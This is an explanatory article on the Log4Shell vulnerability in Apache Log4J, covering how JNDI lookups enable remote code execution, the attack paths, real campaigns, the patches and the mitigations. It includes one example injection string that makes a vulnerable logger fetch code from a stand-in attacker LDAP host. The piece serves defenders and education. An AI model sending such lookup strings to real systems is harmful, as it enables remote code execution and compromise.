What is Log4Shell?

Log4Shell—Common Vulnerabilities and Exposures CVE identifier: CVE-2021-44228—has a Common Vulnerability Scoring System (CVSS) score of 10, denoting a critical vulnerability. It is considered one of the most dangerous vulnerabilities ever because of its broad reach and potentially devastating consequences.

An estimated 10 percent of all digital assets — including web applications, cloud services and physical endpoints like servers—were vulnerable to Log4Shell at the time of its discovery. Hackers can use Log4Shell to do almost anything: steal data (data exfiltration), install ransomware, capture devices for botnets and more.

Cloud security researchers first discovered Log4Shell in November 2021. Apache released a patch in December 2021, and all versions of Log4J from 2.17.1 onward are free of Log4Shell and its associated vulnerabilities. However, the Cybersecurity and Infrastructure Security Agency (CISA) reports Log4Shell is still among the most commonly exploited vulnerabilities. Log4J is pervasive in the software supply chain, so finding and fixing every vulnerable instance may take years.

In the meantime, security teams can take other steps to reduce network exposure, discussed in further detail below.

Log4Shell affects Log4J, an open-source logging library maintained by the Apache Software Foundation. Log4J is a logger, a software component that records information and events in a program, like error messages and user inputs.

Log4J isn't a standalone program but a package of code that developers can plug into their Java applications instead of building loggers from scratch. Major organizations—including Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco and many others—use Log4J in their software and services.

Log4Shell results from how vulnerable versions of Log4J handle two related features: Java Naming and Directory Interface (JNDI) lookups and message lookup substitutions. Each feature on its own would be harmless, but the interaction between them gives hackers a potent weapon.

JNDI is an application programming interface (API) that Java apps use to access resources hosted on external servers. A JNDI lookup is a command that tells the app to go to a server and download a specific object, like a piece of data or a script. Older versions of Log4J 2 automatically run any code downloaded this way.

Message lookup substitution allows users and apps to send variables to Log4J within log messages by using a specific syntax: ${prefix:name}. When Log4J encounters this syntax, it resolves the variable and records the value in the log. For example, if Log4J received a message that read

${java:version}

it would find out the current version of Java running on the device. In the log, it would record: "Java version X.XX."

Put another way, Log4J doesn't treat message lookup substitutions like plain text. It treats them like commands and takes action based on what they say. Hackers can take advantage of this fact to send malicious JNDI lookup commands to apps running vulnerable versions of Log4J. For example, a hacker could send Log4J a string like this:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

When Log4J received this message, it would resolve the variable by reaching out to the server at myevilwebsite.biz and downloading the object located at /maliciouscode. This process would lead to Log4J executing whatever Java code the hacker stashed at that location, usually malware.

Hackers can use standard protocols to trigger Log4Shell, making it easier for malicious traffic to evade detection. Most Log4Shell attacks use one of the following protocols: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI); or Domain Name System (DNS).

LDAP is used to store data in a central location where different apps and services can access it. LDAP is the most common method hackers use to exploit Log4Shell. A typical attack works as follows:

• The hacker sets up an LDAP server and stores malicious code on it.
  
  
• The hacker sends a JNDI lookup to a program using Log4J.
  
  
• The JNDI lookup causes the program to reach out to the attacker's LDAP server, download the payload, and execute the code.

RMI is a Java feature that enables an app on one device to tell an app on another device to do something, like share information or perform a function.

RMI attacks work roughly the same way as LDAP attacks: hackers set up an RMI server, trick the target into connecting to their server, and send malicious commands back to the target.

RMI attacks aren't very common, but some hackers are shifting to RMI because more and more organizations are blocking LDAP traffic altogether.

Hackers use DNS to scout for targets. They send a JNDI lookup to a program, telling it to connect to a DNS server that the hackers control. If the DNS server records a connection from the program, the hackers know the system is vulnerable to further Log4Shell exploitation attempts.

Because Log4Shell lets hackers run arbitrary code, cybercriminals can use the flaw to launch a variety of attacks. Log4Shell was also a zero-day vulnerability at the time of its discovery, meaning hackers had a head start on exploiting it.

Some of the earliest Log4Shell attacks infected computers with cryptojackers, a type of malware that uses a device to mine cryptocurrency without the owner's knowledge. The Mirai botnet has also used the flaw to take over devices.

Multiple ransomware attacks have leveraged Log4Shell. The most prominent ones include the Khonsari strain, which spread through the video game Minecraft, and NightSky, which targeted systems running VMware Horizon.

Access brokers have used Log4Shell to establish footholds in high-value corporate networks, often by secretly dropping remote access Trojans (RATs) on compromised systems. Access brokers then sell these footholds to ransomware-as-a-service affiliatesor other hackers on the dark web.

As Apache worked on patching Log4Shell after its discovery, a handful of related flaws came to light. Ultimately, it took four patches to completely fix Log4Shell and all associated vulnerabilities.

The first patch Apache released, Log4J version 2.15.0, closed much of the Log4Shell vulnerability. However, hackers could still send malicious JNDI lookups to systems that used certain non-default settings. Apache addressed this flaw with Log4J version 2.16.0.

Version 2.16.0 also turned out to be incomplete. Hackers could use malicious message lookups to send vulnerable systems into infinite recursions, leading to denial-of-service attacks. Apache released version 2.17 to fix this flaw.

Less severe than the others, this flaw allowed hackers to execute code remotely, but they needed to gain elevated permissions and change log configurations first. Apache addressed this with a fourth patch, Log4J version 2.17.1.

Security researchers strongly recommend that organizations prioritize updating all instances of Log4J in their networks to the latest version, or at least version 2.17.1. Patching is the only way to remediate Log4Shell completely.

However, security teams may be unable to patch all instances of Log4J in their networks immediately. Vulnerable Log4J installations are often present as indirect dependencies, meaning the company's assets don't use Log4J, but they rely on other apps and services that do. According to Google, most vulnerable Log4J instances are more than one level deep, and some are as many as nine levels deep.

When Log4J is an indirect dependency, it becomes much more difficult for security teams to locate it. When they do find it, they may not be able to patch it, depending on where it exists. If Log4J is buried in a software package used by a third-party app, the security team will need the vendor to update Log4J on its end.

Even when Log4J is present as a direct dependency, it may be hard to spot. The software development process is highly complex today, relying on large teams and vast arrays of preexisting code. Developers may not realize their apps contain vulnerable versions of Log4J, as those instances may sit deep inside prewritten software packages the devs did not code themselves.

As of December 2022, 25 percent of Log4J downloads were still vulnerable to Log4Shell, meaning people are using outdated versions of Log4J to build new assets.

Log4J is so widely used in the software supply chain that finding and fixing every vulnerable instance will take at least a decade, according to the US Department of Homeland Security.

In the meantime, security teams can take other steps to reduce network exposure.

Security teams can disallow message lookup substitutions in Log4J, making it so that Log4J treats hackers' messages as plain text rather than commands to execute.

There are two ways to do this: by changing the "Log4J2.formatMsgNoLookups" system property to "true" or setting the value of the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to "true."

Note that unpatched versions of Log4J still suffer from CVE-2021-45046, which allows hackers to send malicious JNDI lookups when certain non-default settings are used. Prohibiting message lookups is, therefore, not foolproof.

Java apps use classes to define what a program can do. In Log4J, the "JNDIlookup" class governs JNDI lookups. If this class is removed from Log4J's directory of classes—a.k.a., the classpath—then JNDI lookups can no longer be performed.

Disallowing JNDI lookups prevents hackers from sending malicious commands, but it can also affect other functions of Log4J and the apps that use it. It can also be difficult to ensure every instance of the class is removed.

Organizations can use firewalls and other cybersecurity tools to block traffic from vulnerable internet-facing assets to attacker-controlled servers. For example, security teams could set rules to disallow all connections using LDAP or RMI protocols.

Blocking outbound traffic instead of inbound traffic helps avoid false positives, as vendors and security researchers may be scanning assets to find lingering, unpatched instances.

The downside is that firewalls can block or frustrate necessary outbound connections, especially if an organization uses LDAP or RMI for legitimate reasons.